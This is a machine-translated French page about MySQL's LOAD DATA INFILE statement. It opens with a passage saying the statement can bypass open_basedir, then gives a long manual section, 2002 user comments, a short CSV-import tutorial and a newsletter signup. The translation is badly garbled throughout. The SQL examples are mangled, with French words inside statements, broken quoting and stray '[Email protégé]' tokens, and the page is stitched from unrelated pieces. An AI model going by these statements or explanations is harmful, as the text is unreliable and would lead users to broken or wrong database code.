Il est curieux que la possibilité décrite des données de charge de l'opérateur soit connue au moins dix ans. La mention de cela peut, par exemple, trouver dans le ticket [# 15408] (mode sûr / mysql vuln 2002-02-06), puis des questions similaires ont été inondées à plusieurs reprises avec des bugs.net [# 21356] [# 23779] [# 23779] [# 23779]. ] [# 28632] [# 31261] [# 31711]. À laquelle les développeurs ont répondu littéralement ce qui suit:

[Email protégé] Ce n'est pas un bug, c'est une fonctionnalité :)

Ou attribué un billet "Statut: WONT FIX". Ou étaient limités à des correctifs qui n'ont pas résolu presque rien. Les billets sur ce sujet sont apparus à nouveau. Par conséquent, le moyen spécifié de contourner OPEN_BASEDIR et fonctionne toujours sur un nombre assez grand de serveurs. Cependant, avec l'avènement du nouveau pilote MySqlnd, il semble qu'il a été décidé d'apporter des modifications importantes: lors des installations par défaut, cet opérateur ne sera maintenant pas exécuté du tout [# 54158] [# 55737] Espérons que dans un proche avenir, les développeurs apporteront l'ordre dans cette affaire.

Load Data Infile "File_Name.txt" dans la table Tbl_name [joint par "]]] [(Name Col_Name, ...)]

La commande de chargement de données en infime lit les lignes d'un fichier texte et les insère dans une table à une vitesse très élevée. Si le mot clé est spécifié, le fichier est lu à partir de l'hôte client. Si la locale n'est pas spécifiée, le fichier doit figurer sur le serveur. (L'option locale est disponible dans MySQL version 3.22.6 et ultérieure.)

Si les fichiers texte que vous souhaitez lire sont sur le serveur, alors pour des raisons de sécurité, ces fichiers doivent être placés dans le répertoire de base de données ou être lus à tous les utilisateurs. De plus, pour appliquer la commande de charge de données infime aux fichiers de serveur, vous devez avoir des privilèges de fichier pour l'hôte du serveur. Voir la section 4.2.7 Privilèges fournis par MySQL.

Dans les versions de MySQL 3.23.49 et MySQL 4.0.2, la commande locale ne fonctionnera pas dans les cas si le démon mysqld fonctionne avec le paramètre --Local-infile \u003d 0 ou si le client n'inclut pas la possibilité de soutenir la locale. Voir la section 4.2.4 Problèmes de sécurité liés à la commande locale de données de charge.

Si le mot-clé Low_Priority est spécifié, l'exécution de cette commande de données de charge sera détenue jusqu'à ce que d'autres clients ont suivi la lecture de cette table.

Si le mot clé simultané est spécifié lors de votre travail avec des tables MyISAM, les autres threads peuvent récupérer des données de la table lors de la commande de données de charge. Bien entendu, l'utilisation de cette fonctionnalité sera légèrement influencée par la performance des données de charge, même si aucun autre thread n'utilise ce tableau en même temps.

Lors de l'utilisation de l'option locale, l'exécution peut se produire légèrement plus lente par rapport à la fourniture d'un serveur d'accès au fichier directement, car le contenu du fichier doit passer de l'hôte client sur le serveur. D'autre part, dans ce cas, il n'y a pas besoin de privilèges de fichier pour télécharger des fichiers locaux.

Lorsque vous utilisez des versions MySQL vers 3.23.24 à l'aide de la commande de chargement de données infime, vous ne pouvez pas lire à partir de FIFO. Si vous devez lire à partir de FIFO (par exemple, la sortie GunZip standard), vous devez utiliser des données de charge locales infilières.

Vous pouvez également télécharger des fichiers de données à l'aide de l'utilitaire mysqlimport. Cet utilitaire télécharge des fichiers en envoyant au serveur de commandes d'infiltration de données de charge. L'option --Local permet de lire des fichiers de données MySQLIMPORT à partir d'un hôte client. Vous pouvez spécifier le paramètre --Compress pour obtenir de meilleures performances lorsque vous travaillez via des réseaux lents, si le client et le serveur prennent en charge le protocole de compression de données.

Dans les cas où les fichiers sont sur le serveur, celui-ci fonctionne selon les règles suivantes:

  • Si le chemin absolu (complet) du fichier est spécifié, le serveur utilise ce chemin d'échange inchangé.
  • Si le chemin relatif du fichier est spécifié avec un seul ou plusieurs répertoires initiaux, la recherche de fichier sera implémentée par rapport aux répertoires spécifiés dans le répertoire de données DataDir.
  • Si le chemin est donné au fichier sans spécifier les répertoires initiaux, le serveur recherche ce fichier dans le répertoire utilisé de la base de données.

Il s'ensuit que le fichier spécifié comme `./myfile.txt" est lu dans le répertoire serveur, tandis que le fichier spécifié comme `myfile.txt" est lu dans le répertoire de la base de données utilisé. Par exemple, les données de chargement de commandes suivantes indiquent le fichier data.txt dans le répertoire de base de données pour DB1, car DB1 est la base de données actuelle, même si cette commande contient explicitement la note pour télécharger le fichier sur la table de base de données DB2:

Mysql\u003e utiliser db1; MySQL\u003e Load Data Infile "data.txt" en tableau DB2.MY_TABLE;

Les mots-clés remplacent et ignorent le traitement du traitement des enregistrements d'entrée, qui enliquant des enregistrements existants avec les mêmes valeurs de clés uniques. Si vous spécifiez le remplacement, les nouvelles lignes remplaceront l'existant avec la même clé unique. Si vous spécifiez Ignorer, les lignes d'entrée ayant la même clé unique que possible, seront ignorées. Si aucun des paramètres n'est spécifié, alors lorsque la valeur de la clé en double est détectée, une erreur se produit et la partie restante du fichier texte est ignorée.

Si les données sont chargées à partir du fichier local à l'aide du mot clé local, le serveur ne pourra pas interrompre le transfert de données au milieu de cette opération, par défaut, l'exécution de la commande se produit de la même manière que dans le cas où elle est indiqué par ignorer.

Lorsque vous utilisez des données de charge de charge sur des tables myisam vides, tous les index non uniques sont créés dans un package séparé (comme en réparation). Cela accélère généralement de manière significative le travail d'infiltration de données de charge dans le cas d'un grand nombre d'index.

La commande Load Data Infile est facultative pour sélectionner ... dans une tenue. Voir la section 6.4.1 Sélectionner la syntaxe de l'opérateur. Pour enregistrer des données de la base de données dans le fichier, sélectionnez ... dans la tenue de service. Pour lire les données à la base de données, chargez l'infileur de données est utilisé. Les champs et lignes de syntaxe sont les mêmes dans les deux équipes. Les deux parties sont facultatives, mais si elles sont spécifiées, les champs doivent préciser les lignes.

Si des champs sont spécifiés, chacun de ses sousjoints (terminé par, joint et échappé par) est également facultatif, mais il est nécessaire de spécifier au moins l'un d'entre eux.

Si l'instruction Champs n'est pas définie, alors par défaut, ses paramètres recevront les valeurs suivantes:

Champs terminés par "\\ T" entouré de "" échappé par "\\\\"

Si l'instruction Lines n'est pas définie, alors par défaut, il dispose de la structure suivante:

Lignes terminées par "\\ n"

En d'autres termes, lorsque les installations par défaut, la commande de données de données infime lors de la lecture des données d'entrée fonctionnera comme suit:

  • Recherchez des extrémités des lignes sous forme de symboles `\\ n»
  • Faites glisser les lignes vers les champs par des symboles d'onglets.
  • Ne vous attendez pas à ce que les champs puissent être enfermés dans les symboles de citation.
  • Interpréter les onglets rencontrés, une nouvelle chaîne ou «\\», présentée «\\», en tant que littéraux qui font partie de la valeur du champ.

Et, au contraire, si les paramètres par défaut sont valides lors de l'enregistrement de la sortie, la commande SELECT ... dans la commande OUTFILE fonctionnera comme suit:

  • Insérer des onglets entre les champs.
  • Ne pas entrer dans des champs dans les symboles de citation. Utilisez les symboles `\\» pour blinder des instances d'onglets, d'une nouvelle chaîne ou de «\\», qui apparaissent parmi les champs du champ.
  • Insérez les symboles de la nouvelle chaîne à la fin de chaque enregistrement.

Il convient de garder à l'esprit que, dans l'entrée de champs s'est échappé par` \\ ", vous devez spécifier deux échecs inverse pour la valeur qui devrait être lue comme une réaction.

L'option Ignorer Number Lines peut être utilisée pour ignorer l'en-tête de nom de colonne au début du fichier:

MySQL\u003e Charger les données infilières "/ TMP / Nom_fichier" dans Table Test Ignorer 1 lignes;

Lors de l'utilisation de SELECT ... dans OUTFILE ENFEMENT AVEC DES DONNÉES DE CHARGEMENT INFILE pour que les données de la base de données soient à lire dans le fichier, puis revenez du fichier à la base de données, les options que les champs de traitement et les lignes doivent être coïnés pour les deux commandes. Sinon, charger les données infilières ne pourront pas interpréter correctement le contenu de ce fichier. Supposons que la commande SELECT ... INO OUTFILE est utilisée pour écrire dans un fichier avec des champs séparés par des virgules:

MySQL\u003e SELECT * dans les champs OUTFILE "DATA.TXT" terminés par "", de ...;

Mysql\u003e charger des données infilières "data.txt" dans les champs Tableau de table2 terminés par "", ";

Mysql\u003e charger des données infilières "data.txt" dans les champs Tableau de table2 terminés par "\\ T";

Un résultat similaire aurait eu lieu si chaque ligne d'entrée a été interprétée comme un champ distinct.

La commande Load Data Infile peut également être utilisée pour lire des fichiers obtenus à partir de sources externes. Par exemple, les champs du fichier de format de base de données DBASE seront séparés par des virgules et fermés dans des guillemets doubles. Si les lignes de ce fichier se terminent par les symboles d'une nouvelle ligne, pour enregistrer le fichier, vous pouvez utiliser la commande suivante dans laquelle le réglage des options, des champs de traitement et des lignes illustrent:

MySQL\u003e Load Data Infile "data.txt" dans les champs Table Tbl_Name terminés par "", conçus par "" "lignes terminées par" \\ n ";

Toute des options de traitement des champs et des chaînes peut définir une chaîne vide (""). Si la chaîne n'est pas vide, les options de champs enfermés et les champs échappés par doivent contenir un caractère. Les valeurs des champs terminées par des options et des lignes terminées par peuvent contenir plus d'un caractère. Par exemple, pour enregistrer des lignes se terminant par des paires `` Traduction de la traduction de la ligne "" (comme dans les fichiers texte MS DOS ou Windows), vous devez spécifier l'expression suivante: lignes terminées par "\\ r \\ n".

Créez des blagues de table (une clé primaire NU NU NULL NULLY_INCREMEMENT, JOKE Texte non NULL); Charger des données infilières "/tmp/jokes.txt" dans les champs de blagues de table terminés par ""; Lignes terminées par "\\ n %% \\ n" (blague);

L'option BULA de champs de champs est utilisée pour contrôler les champs enfermés dans les caractères spécifiés. Si l'option est éventuellement omise, alors dans la sortie (sélectionnez ... dans Outfile) Tous les champs seront enfermés dans les caractères spécifiés dans lesquels sont joints. Un exemple d'une telle sortie (dans laquelle la virgule est utilisée comme séparateur de champ) est indiquée ci-dessous:

"1", "une chaîne", "100,20" "2", "une chaîne contenant une virgule", "102.20" "3" "une chaîne contenant a \\" citation "," 102.20 "" 4 "," Une chaîne contenant a \\ "citation et virgule", "102,20"

Si le paramètre éventuellement spécifié, seuls les champs Char et Varcharne sont mis en surbrillance dans le symbole:

1, "une chaîne", 100,20 2, "une chaîne contenant une virgule", 102,20 3, "une chaîne contenant a \\" citation ", 102,20 4," une chaîne contenant a \\ ", ciote et virgule", 102.20

Il convient de garder à l'esprit que l'apparition de caractères enfermés à l'intérieur de la taille du champ est blindée en appliquant le préfixe de l'échappée par. Il convient également de garder à l'esprit que si une valeur vide est spécifiée en échappée par, il est possible de créer une sortie que l'opérateur d'infiltration de données de charge ne peut pas être lu correctement. Par exemple, si le symbole de blindage est une chaîne vide, la sortie présentée ci-dessus s'avérera comme indiqué ci-dessous. Remarque: le deuxième champ de la quatrième ligne contient une virgule après la citation, qui (à tort) semble limiter ce champ:

1, "une chaîne", 100.20 2, "une chaîne contenant une virgule", 102,20 3, "une chaîne contenant un" devis ", 102,20 4," une chaîne contenant un ", une citation et une virgule", 102.20

Pour entrer dans le caractère ci-joint, si tel est le cas, est retiré des deux extrémités des champs. (Ceci est vrai quel que soit le paramètre éventuellement optionnellement: lorsque vous travaillez avec les données d'entrée, l'option éventuellement n'est pas prise en compte.) Si le caractère ci-joint est trouvé sur lequel le symbole échappé par le symbole est précédé, alors il est interprété comme partie de la valeur de champ actuelle. De plus, les doubles caractères enfermés par les champs à l'intérieur du champ sont interprétés comme des caractères simples enfermés par, si ce champ commence par ce symbole lui-même. Par exemple, s'il est spécifié par ci-joint par "", les guillemets sont traités, comme indiqué ci-dessous:

"Le" Big "Boss" -\u003e Le "Big" Boss Le "Big" Boss -\u003e Le "Big" Boss Le "Big" "Boss" "Boss -\u003e Le" Big "" Boss

Les champs échappés par option permettent de contrôler l'enregistrement ou la lecture de caractères spéciaux. Si les champs échappés par caractère ne sont pas vides, il est utilisé comme préfixe pour les caractères suivants dans la sortie:

  • Champs de symboles échappés par
  • Champs inclus par le symbole
  • Premier symbole des champs terminés par et des lignes terminées par
  • Symbole ASCII 0 (en réalité après que le symbole de blindage est écrit ASCII `0 et non octets avec une taille zéro)

Si le symbole de champs s'est échappé par vide, aucun caractère n'est blindé. En fait, cela n'a aucun sens de spécifier un symbole de blindage vide, en particulier si les champs des champs des données traitées contiennent l'un des caractères spécifiés dans la liste ci-dessus.

Si les champs échappés par caractère ne sont pas vides, dans le cas de la saisie de données d'entrée d'un tel caractère, le symbole est établi littéralement dans le cadre de la valeur de champ. Les exceptions sont blindées `0" ou `n» (par exemple, \\ 0 ou \\ n, si le symbole de blindage est \\ \\). Ces séquences sont interprétées comme ASCII 0 (octets à valeur zéro) et null. Voir le traitement null Règles.

Pour obtenir plus d'informations complètes sur le symbole du symbole du bouclier \\ \\, voir la section 6.1.1 Littéraux: Présentation des rangées et des chiffres.

Dans certains cas, des options de traitement sur le terrain et des chaînes interagissent:

  • Si les lignes terminées par une chaîne vide et des champs terminés par ne sont pas une chaîne vide, les lignes se terminent également par les champs de caractères terminés par.
  • Si les deux champs terminés par et que les champs joints sont vides ("), un format de ligne fixe est appliqué (sans séparateurs). Dans un format de ligne fixe, aucun séparateur n'est fourni entre les champs. Au lieu de cela, lors de la lecture et de la rédaction des valeurs des colonnes, les colonnes de largeur `` Sortie "" sont utilisées. Par exemple, si la colonne est déclarée par int (7), les valeurs de cette colonne sont écrites à l'aide de champs de 7 caractères. Les valeurs d'entrée pour cette colonne sont obtenues en lisant 7 caractères. Le format avec une chaîne fixe affecte également le traitement des quantités nulles (voir ci-dessous). Notez que le format de taille fixe ne fonctionnera pas lors de l'utilisation d'un ensemble de caractères multibyte.

Les valeurs nulles en fonction des champs et des lignes d'options utilisées seront traitées différemment:

  • Pour par défaut, les quantités de champs et lignes null sont écrites comme \\ n pour la sortie et \\ N sont lues comme NULL pour une entrée (en fonction de l'hypothèse que le symbole échappé par Symbole est «\\»).
  • Si les champs ci-joints ne sont pas vides, le champ dont la valeur est un mot à partir des lettres NULL, se lit comme une valeur null (Contrairement au mot NULL conclu entre les champs champs joints, qui est lu comme la chaîne "null").
  • Si les champs échappés par sont vides, NULL est écrit comme mot null.
  • Dans un format de chaîne fixe (qui a lieu si les deux spécificateurs sont terminés par et des champs ci-joints sont vides), NULL est écrit comme une chaîne vide. Notez que, par conséquent, la valeur NULL et une chaîne vide de cette table seront indiscernables lors de l'écriture dans un fichier, car les deux sont enregistrées comme chaînes vides. S'il est nécessaire que ces valeurs soient différentes lorsque vous lisez la lecture du fichier, vous ne devez pas utiliser de format avec une chaîne fixe.

Certains cas non pris en charge par l'opérateur de chargement des données infilives:

  • Des lignes avec une taille fixe (les deux options sont terminées par et des champs enfermés par des colonnes vides) et des colonnes de blob ou de texte.
  • Si le séparateur est spécifié, ce qui coïncide avec un autre ou étant l'autre préfixe, l'infiltration de données de charge ne sera pas en mesure d'interpréter correctement l'entrée. Par exemple, l'approbation des champs suivants entraînera des problèmes: les champs terminés par "" "ci-joint" "
  • Si les champs évoluent par option vide, les champs contenus les champs contenus dans le champ sont le cas des champs contenus ou des lignes terminés par, suivis par les champs terminés par le symbole, conduira à une achèvement prématuré de la lecture ou de la chaîne de champ. la commande de données d'infiltration de données. Cela est dû au fait que l'infileur de données de charge ne peut pas déterminer correctement lorsque le champ ou la chaîne se termine.

L'exemple suivant télécharge toutes les colonnes de la table Persondata:

MySQL\u003e Load Data Infile "persondata.txt" dans la table persondata;

La liste des champs n'est pas spécifiée, par conséquent, la commande d'infiltration de données de charge s'attend à ce que les chaînes d'entrée remplissent chaque colonne de la table. Cela utilise les champs et les valeurs de lignes par défaut.

Si vous souhaitez télécharger uniquement certaines des colonnes de table, vous devez spécifier la liste des colonnes:

MySQL\u003e Load Data Infile "persondata.txt" dans la table persondata (Col1, Col2, ...);

La liste des champs doit être spécifiée dans les cas si l'ordre des champs du fichier d'entrée diffère de l'ordre des colonnes de cette table. Sinon, MySQL ne sera pas en mesure de définir la correspondance des champs et des colonnes injectés de la table.

Si la chaîne a trop peu de champs, les colonnes pour lesquelles il n'y a pas de champs dans le fichier d'entrée ne sont définis sur leurs valeurs par défaut. L'affectation par défaut est décrite dans la section 6.5.3 Section Créer une syntaxe d'opérateur de table.

La valeur du champ vide est interprétée différemment de l'absence de valeur:

  • Pour les types de chaîne, la colonne est installée dans une chaîne vide.
  • Pour les types numériques, la colonne est définie sur 0.
  • Pour les types de date et d'heure, la colonne est définie sur le type correspondant «zéro». Voir la section 6.2.2 Types de données de données et de temps.

Notez que celles-ci sont les mêmes quantités qui seront dans la colonne résultant d'un mode de réalisation explicite d'une chaîne vide par colonnes de chaîne, de types numériques ou de dates ou de types de temps dans la commande insertion ou mise à jour.

Les colonnes horodatées sont installées uniquement à la date ou à l'heure actuelle dans les cas où la valeur NULL est attribuée à la colonne ou (uniquement pour la première colonne horodatamp) si la colonne TIMESTAMP est sortie de la liste des champs, si une telle liste est spécifiée.

Si la ligne d'entrée a trop de champs, les champs inutiles sont ignorés et le nombre d'avertissements augmentera.

La commande d'infiltration de données de charge interprète toutes les lignes d'entrée, de sorte que vous ne pouvez pas spécifier des valeurs numériques pour les colonnes ENUM ou SET ainsi que pour les commandes d'insertion. Tous les valeurs ENUM et SET doivent être spécifiés en tant que lignes!

Lorsque vous utilisez l'API C, vous pouvez obtenir des informations sur la demande en appelant la fonction API MySQL_INFO () à la fin de la requête d'infiltration de données de chargement. Ce qui suit est le format de la chaîne d'informations pour ce cas:

Enregistrements: 1 Supprimé: 0 ignoré: 0 avertissements: 0

Les précautions sont émises dans les mêmes circonstances que lors de l'enregistrement des valeurs de l'insert (voir la section 6.4.3, de la syntaxe d'insertion de l'opérateur), sauf que la commande d'infiltration de données de charge génère en outre des avertissements lorsque trop peu de champs dans l'entrée. ligne. AVERTISSEMENT n'est pas stocké nulle part; Le nombre d'avertissements ne peut être utilisé que pour vérifier si les actions spécifiées ont été effectuées normalement. Si vous devez connaître avec précision les raisons des avertissements, vous devez exécuter la commande SELECT ... INO OUTFILE à un autre fichier et comparer le résultat avec le fichier d'entrée d'origine est le seul moyen d'obtenir de telles informations.

Si vous devez effectuer des données de charge à lire à partir du canal, vous pouvez appliquer le truc suivant:

Mkfifo / mysql / dB / x / x chmod 666 / mysql / dB / x / x cat / nt / mysql / db / x / x mysql -e "charger des données infilières" x "dans la table x" x "x

Lors de l'utilisation de la version MySQL plus âgée de 3,23,25, ce qui précède peut être effectué uniquement avec les données de charge locales infilières.

Pour obtenir des informations plus détaillées sur INSERT Efficacité par rapport à l'infiltration de données de charge et à l'augmentation de la vitesse d'infiltration de données de charge, voir la section 5.2.9 Vitesse des requêtes d'insertion.

Commentaires des utilisateurs

Publié par Jason Titus[Supprimer] [modifier]

"Les avertissements ne sont stockés nulle part; le nombre d'avertissements ne peut être utilisé que comme un
Indication si tout s'est bien passé

Vous vous moquez de moi. Est-ce que cela est fait comme une sorte de châtiment DBA? C'EST À DIRE. - nous.
Savoir quelles étaient les problèmes, mais vous devez simplement construire un fichier de sortie et regarder à travers
Vos millions d'enregistrements à les trouver. "Disj 't mySQL avait l'habitude de les mettre dans lerandlog,
Où ils appartiennent? Aller de l'avant et en faire une option, mais c'est assez de problèmes pour faire
Je retourne à Oracle (et cela prend beaucoup).

Publié par Campbell le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

Deuxièmement que. (!) Je ne comprends pas comment vous
Écrivez cette santance avec un visage droit.

Publié par Jonathon Padfield le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

En outre, aucune information sur laquelle des lignes sont ignorées
Est donné.

Publié le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

Cette fonctionnalité est très utile lors de la soumission d'un
Insérer à partir d'une page Web. Si l'utilisateur frappe
Rafraîchir et republier des données de formulaire qui entraîne un
Insertion ultérieure des mêmes données de clé primaire,
BOOM, l'application se casse. De cette façon, l'utilisateur pourrait
Frapper f5 jusqu'à ce que leur visage tourne bleu et le
A remporté "t rompre la déclaration de remplacement.

[Supprimer] [modifier]

J'ai un dossier MyDB dans c: \\ mysql \\ data
Je placerai là data.txt et quand j'exécute
Charger les données locales infilières "data.txt" dans le tableau
Mytable il dit: la commande a exécuté avec succès
Mais aucune valeur n'est additionnée à MyTable.
Je suis sous W2K

Publié par Van Hoof Philip le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

Je veux syncroniser ma base de données avec une autre
Base de données de temps en temps. Cela signifie que je
Devra utiliser la chose remplie. Mais qu'en est-il de
Enregistrements qui n'excistent pas tout autre chose dans le plus récent
Base de données. Seront-ils supprimés dans le mysql?
Y a-t-il un moyen de supprimer automatiquement ces? Ou est le
Seule une solution pour déposer ma table MySQL et recréer
Avant que je commence à charger "l'ing. J'utilise crontab
Scripts pour cette opération donc aucune interaction humaine
Est possible pendant ces opérations.

Publié le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

La documentation n'est pas claire sur ce que
Constitue une clé / un indice unique »dans cette zone. IL.
Breadresferences à "Insérer", mais insérer ne "t
Avoir une telle contrainte. J'ai trouvé ce primaire
Les clés sont suffisamment uniques, mais j'ai dû ajouter
Primaires où je ne les voulais pas. Peut-être que je "m
Manquer quelque chose ....

Publié le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

Il est très frustrant de faire avertir des avertissements quand on est
Importation de données dans une base de données MySQL et ne pas être
Capable d'accéder à toute information sur les avertissements.
Mysql a vraiment besoin d'ajouter une fonctionnalité qui sera
Signaler quel avertissement est à peu près que juste
Signaler un avertissement. Isilement les informations sur
L'avertissement doit être fourni immédiatement. À.
Le: très au moins une sorte de journal d'erreur devrait être
Créé qu'un utilisateur peut accéder.

Publié le vendredi 17 mai 2002, @ 6: 24h[Supprimer] [modifier]

Sur le "F5 jusqu'à leur visage tourne bleu" sujet ...

Ce shald sera traité dans l'application. IL.
Certainement ne fait pas mal de dire à l'utilisateur, "tu as"
Déjà entré cela. S'il vous plaît arrêter de rafraîchir. "

En fait, en raison du nombre d'extrémités hyperimatiques
Lusuers là-bas, ce sens comme un particulièrement
Bonne idée.

Publié par Larry Irwin le mardi 20 août 2002, @ 11: 50m[Supprimer] [modifier]

Il serait très utile d'avoir une option supplémentaire
"Ignorer les contraintes" pendant le chargement
Traiter.

Publié par le jeudi 5 septembre 2002, @ 1: 34h[Supprimer] [modifier]

Il y a une prise avec "sur une table myisam vide, tout
Les index non uniques sont créés dans un lot séparé
Puisque le mécanisme utilisé est une "réparation avec
KeyCache "qui peut être très lent si vous en avez beaucoup
index. Il a vraiment besoin d'utiliser le mécanisme pour
Arrêtez les clés étant créées et ensuite faire la réparation avec
Myisamchk utilisant "réparer avec tri" comme décrit dans
Section 5.2.9 (si vous pouvez le faire fonctionner :-()

Publié le mercredi 9 octobre 2002, @ 12 h 43h[

Avez-vous déjà dû télécharger des données du fichier à la table dans le fichier? Sinon, je vais essayer de vous parler brièvement d'une façon de le faire.

Télécharger les données sur la table du fichier

Load Data Infile "Data.csv" dans Tableau My_Table Cette conception vous aidera à télécharger des données à partir du fichier à votre table.

Si vous souhaitez télécharger des données formatées, disons les points-virgules séparés, puis la conception suivante vous aidera à:

Charger des données infilières "data.csv" dans le tableau my_Table champs terminés.Par "," entouré de "" "Échappé par "\\" Lignes terminées par "\\ r \\ n"
Qu'est-ce que ça veut dire?

  • Recherchez des extrémités des lignes sous forme de caractères "\\ r \\ n"
  • Lignes de couture sur les symboles des point-virgules (,).
  • Attendez-vous à ce que les champs puissent être enfermés dans les symboles de citation.
  • Interpréter les onglets rencontrés, une nouvelle ligne ou "\\" présentée "\\", en tant que littéraux qui font partie de la valeur du champ.

Charger des données infilières

Tout ce que nous avons décrit ci-dessus est la célèbre conception des données de charge.

Accès refusé pour l'erreur utilisateur

Si vous avez soudainement une erreur Accès refusé pour l'utilisateurEnsuite, vous devez juste ajouter un attribut Localavant que Dans le fichier.Par example:

Données de charge Local Infile "Data.csv" dans Tableau My_Table

Téléchargez les données sur la table du fichier pour des champs spécifiques

Données de charge Local Infile "Data.csv" dans les champs Table T1 terminés par "" lignes terminées par "\\ n" (@ col1, @ col2, @ col3, @ col4) [Email protégé] Col4, id [Email protégé] col2;

Ici, nous spécifions le nom de fichier (data.csv) à partir de quelles données seront chargées. Dans la conception (@ col1, @ col2, @ col3, @ col4), nous numérons toutes les colonnes du fichier pour leur utilisation ultérieure. Et puis avec l'aide d'une méthode de jeu familier, nous définissons les valeurs de ces colonnes pour des champs de champ spécifiques.

Charger des données infiiles avec une jointure

Si vous devez remplir une table d'un fichier en utilisant un fichier existant, vous avez probablement déjà lieu à utiliser. rejoindre.Le code pour une telle insertion de données ressemble à ceci:

Données de charge Local Infile "data.csv" dans les champs Tableau de table_1 terminés par "\\ T" lignes terminées par "\\ r \\ n" (@ col1, @ col2, @ col3, @ Col4) [Email protégé], Nom d'utilisateur \u003d (sélectionnez Nom d'utilisateur à partir des utilisateurs où user_id \u003d @ col1);

La cloche.

Il y a ceux qui ont lu cette nouvelle devant vous.
Abonnez-vous pour recevoir des articles frais.
E-mail
Nom
Nom de famille
Comment voulez-vous lire la cloche
Sans spam